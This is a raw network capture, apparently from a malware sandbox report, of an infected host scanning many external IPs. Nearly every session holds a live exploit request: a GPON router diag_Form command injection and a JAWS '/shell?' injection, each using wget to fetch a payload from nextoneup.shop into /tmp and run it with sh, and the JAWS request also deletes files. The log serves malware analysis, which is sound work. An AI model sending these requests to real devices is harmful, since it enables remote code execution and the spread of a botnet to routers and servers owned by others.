Apr 14, 2024 03:59:56.183207035 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
707	192.168.2.23	50078	148.65.22.82	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.183255911 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
708	192.168.2.23	52558	38.63.122.183	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.264147997 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 03:59:56.451710939 CEST	431	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 01:59:46 GMT Server: Apache Content-Length: 255 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
709	192.168.2.23	55290	54.81.227.101	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.311908960 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 03:59:56.546869993 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 01:59:56 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
710	192.168.2.23	39044	128.199.35.43	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.395409107 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 03:59:58.092137098 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
711	192.168.2.23	54444	217.69.189.94	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.460437059 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 03:59:56.852138996 CEST	161	IN	HTTP/1.1 404 Not Found Server: gvs 1.0 Date: Sun, 14 Apr 2024 01:59:56 GMT X-Frame-Options: SAMEORIGIN X-XSS-Protection: 0 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
712	192.168.2.23	54440	217.69.189.94	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.468385935 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 03:59:56.877021074 CEST	161	IN	HTTP/1.1 404 Not Found Server: gvs 1.0 Date: Sun, 14 Apr 2024 01:59:56 GMT X-Frame-Options: SAMEORIGIN X-XSS-Protection: 0 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
713	192.168.2.23	40676	185.211.1.42	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.475225925 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 03:59:56.882000923 CEST	454	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.14.0 (Ubuntu) Date: Sun, 14 Apr 2024 01:59:56 GMT Content-Type: text/html Content-Length: 170 Connection: keep-alive Location: https://www.kmiac.ru/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
714	192.168.2.23	35310	47.109.133.217	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.488173008 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
715	192.168.2.23	40852	18.189.76.131	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.542570114 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 03:59:56.771440029 CEST	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 Apr 2024 01:59:56 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
716	192.168.2.23	47516	155.94.203.145	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.620148897 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
717	192.168.2.23	49568	13.52.1.108	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.628382921 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 03:59:56.817589998 CEST	1289	IN	HTTP/1.1 500 Internal Server Error Cache-Control: no-cache, private Content-Type: text/html; charset=UTF-8 Date: Sun, 14 Apr 2024 01:59:56 GMT Server: Apache/2.4.18 (Ubuntu) Set-Cookie: XSRF-TOKEN=eyJpdiI6IldndEhcL0JsdDkwV0xUN1prOWJIUzdRPT0iLCJ2YWx1ZSI6IlFibGFKQmtER0VhMUVtc1wvRmNFQ25sd21sb2RpYld1SVFSdlFicElFRWd4ZWRteWJVOGJKYVhCMmtGcmt1YnM3TUR3cE95bVpLUlB3SmF6Mnpwa1lwUT09IiwibWFjIjoiYTY0YmY0MWI5NTBiZGQ3YjA4N2U1Yzk3ZjhiMWM0NTM2Y2RjN2E5MGQ2MGVkNGEzNGNjZTgzNmQ1NTAyMmQxNiJ9; expires=Sun, 14-Apr-2024 03:59:56 GMT; Max-Age=7200; path=/ Set-Cookie: laravel_session=eyJpdiI6IlFONlFvSkpcLzBaTWZVY1lCc2FjVWx3PT0iLCJ2YWx1ZSI6IiswMVNnRkc1dEYzMW5KQWlIZDZtU1g1MHhwSm1YVWh6ZDNHbCtBRXBzNVZGczU1XC9Rek1iaTRqVDVlVmUyQ0I4SnhmeCthNmpidWo0bWR3K0pYNFBJdz09IiwibWFjIjoiZmY3MzkxZjQ1NmJiNWRkNTdlMTU4ZjI1ODFhOTQ0ZTA5MjllYThkZWNmMmMyZDQwYWUyZTllZjM3ZmFkZDFkNSJ9; expires=Sun, 14-Apr-2024 03:59:56 GMT; Max-Age=7200; path=/; HttpOnly transfer-encoding: chunked Connection: Close Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 30 2c 20 59 61 68 6f 6f 21 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 43 6f 64 65 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 42 53 44 20 4c 69 63 65 6e 73 65 3a 20 68 74 74 70 3a 2f 2f 64 65 76 65 6c 6f 70 65 72 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 79 75 69 2f 6c 69 63 65 6e 73 65 2e 68 74 6d 6c 20 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 4000<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta name="robots" content="noindex,nofollow" /> <style> /* Copyright (c) 2010, Yahoo! Inc. All rights reserved. Code licensed under the BSD License: http://developer.yahoo.com/yui/license.html */
Apr 14, 2024 03:59:56.817632914 CEST	1289	IN	Data Raw: 20 68 74 6d 6c 7b 63 6f 6c 6f 72 3a 23 30 30 30 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 7d 62 6f 64 79 2c 64 69 76 2c 64 6c 2c 64 74 2c 64 64 2c 75 6c 2c 6f 6c 2c 6c 69 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 70 72 65 Data Ascii: html{color:#000;background:#FFF;}body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,textarea,p,blockquote,th,td{margin:0;padding:0;}table{border-collapse:collapse;border-spacing:0;}fieldset,img{border:0;}address,
Apr 14, 2024 03:59:56.817673922 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 2e 73 66 2d 72 65 73 65 74 2c 20 2e 73 66 2d 72 65 73 65 74 20 2e 62 6c 6f 63 6b 20 7b 20 6d 61 72 67 69 6e 3a 20 61 75 74 6f 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 73 66 2d 72 65 73 65 74 20 61 62 62 Data Ascii: .sf-reset, .sf-reset .block { margin: auto } .sf-reset abbr { border-bottom: 1px dotted #000; cursor: help; } .sf-reset p { font-size:14px; line-height:20px; color:#868686; padding-bottom:20px }
Apr 14, 2024 03:59:56.817740917 CEST	1289	IN	Data Raw: 63 63 63 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 6c 65 66 74 3a 31 70 78 20 Data Ascii: ccc; border-right:1px solid #ccc; border-left:1px solid #ccc; word-wrap: break-word; } .sf-reset .block_exception { background-color:#ddd; color: #333; padding:20px;
Apr 14, 2024 03:59:56.817800045 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 62 6c 6f 63 6b 5f 65 78 63 65 70 74 69 6f 6e 20 63 6c 65 61 72 5f 66 69 78 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 Data Ascii: <h2 class="block_exception clear_fix"> <span class="exception_counter">1/1</span> <span class="exception_title"><abbr title="InvalidArgumentException">InvalidArgumentException</a
Apr 14, 2024 03:59:56.817837000 CEST	1289	IN	Data Raw: 63 74 6f 72 79 22 3e 46 61 63 74 6f 72 79 3c 2f 61 62 62 72 3e 2d 3e 6d 61 6b 65 28 29 20 69 6e 20 3c 61 20 74 69 74 6c 65 3d 22 2f 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 66 61 73 64 2f 76 65 6e 64 6f 72 2f 6c 61 72 61 76 65 6c 2f 66 72 61 6d 65 Data Ascii: ctory">Factory</abbr>->make() in <a title="/var/www/html/fasd/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php line 921">helpers.php line 921</a></li> <li>at <abbr title=""></abbr>view() in <a title="/var/www/html/fasd/app
Apr 14, 2024 03:59:56.817873001 CEST	1289	IN	Data Raw: 2e 70 68 70 20 6c 69 6e 65 20 31 36 30 22 3e 52 6f 75 74 65 2e 70 68 70 20 6c 69 6e 65 20 31 36 30 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 3c 6c 69 3e 61 74 20 3c 61 62 62 72 20 74 69 74 6c 65 3d 22 49 6c 6c 75 6d 69 6e 61 74 65 5c 52 Data Ascii: .php line 160">Route.php line 160</a></li> <li>at <abbr title="Illuminate\Routing\Route">Route</abbr>->run() in <a title="/var/www/html/fasd/vendor/laravel/framework/src/Illuminate/Routing/Router.php line 559">Router.php line 559</a></l
Apr 14, 2024 03:59:56.817909956 CEST	1289	IN	Data Raw: 50 69 70 65 6c 69 6e 65 22 3e 50 69 70 65 6c 69 6e 65 3c 2f 61 62 62 72 3e 2d 3e 49 6c 6c 75 6d 69 6e 61 74 65 5c 52 6f 75 74 69 6e 67 5c 7b 63 6c 6f 73 75 72 65 7d 28 29 20 69 6e 20 3c 61 20 74 69 74 6c 65 3d 22 2f 76 61 72 2f 77 77 77 2f 68 74 Data Ascii: Pipeline">Pipeline</abbr>->Illuminate\Routing\{closure}() in <a title="/var/www/html/fasd/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php line 65">VerifyCsrfToken.php line 65</a></li> <li>at <abbr
Apr 14, 2024 03:59:56.817948103 CEST	1289	IN	Data Raw: 65 6c 69 6e 65 5c 50 69 70 65 6c 69 6e 65 22 3e 50 69 70 65 6c 69 6e 65 3c 2f 61 62 62 72 3e 2d 3e 49 6c 6c 75 6d 69 6e 61 74 65 5c 50 69 70 65 6c 69 6e 65 5c 7b 63 6c 6f 73 75 72 65 7d 28 29 20 69 6e 20 3c 61 20 74 69 74 6c 65 3d 22 2f 76 61 72 Data Ascii: eline\Pipeline">Pipeline</abbr>->Illuminate\Pipeline\{closure}() in <a title="/var/www/html/fasd/vendor/laravel/framework/src/Illuminate/Routing/Pipeline.php line 53">Pipeline.php line 53</a></li> <li>at <abbr title="Illuminate\Routing\
Apr 14, 2024 03:59:56.818022013 CEST	1289	IN	Data Raw: 69 65 73 54 6f 52 65 73 70 6f 6e 73 65 22 3e 41 64 64 51 75 65 75 65 64 43 6f 6f 6b 69 65 73 54 6f 52 65 73 70 6f 6e 73 65 3c 2f 61 62 62 72 3e 2d 3e 68 61 6e 64 6c 65 28 29 20 69 6e 20 3c 61 20 74 69 74 6c 65 3d 22 2f 76 61 72 2f 77 77 77 2f 68 Data Ascii: iesToResponse">AddQueuedCookiesToResponse</abbr>->handle() in <a title="/var/www/html/fasd/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php line 148">Pipeline.php line 148</a></li> <li>at <abbr title="Illuminate\Pipeline\Pi

Session ID	Source IP	Source Port	Destination IP	Destination Port
718	192.168.2.23	54178	20.234.98.243	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.922626972 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 03:59:57.226202011 CEST	466	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.14.1 Date: Sun, 14 Apr 2024 01:59:57 GMT Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: https://support2.payiq.net/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.14.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
719	192.168.2.23	35044	108.139.67.159	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.961817980 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 03:59:57.381210089 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 01:59:57 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
720	192.168.2.23	59574	202.61.48.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:57.140042067 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
721	192.168.2.23	53310	148.10.216.15	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:57.140121937 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
722	192.168.2.23	35478	2.125.84.82	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:57.140144110 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
723	192.168.2.23	43252	202.227.196.248	443

Timestamp	Bytes transferred	Direction	Data
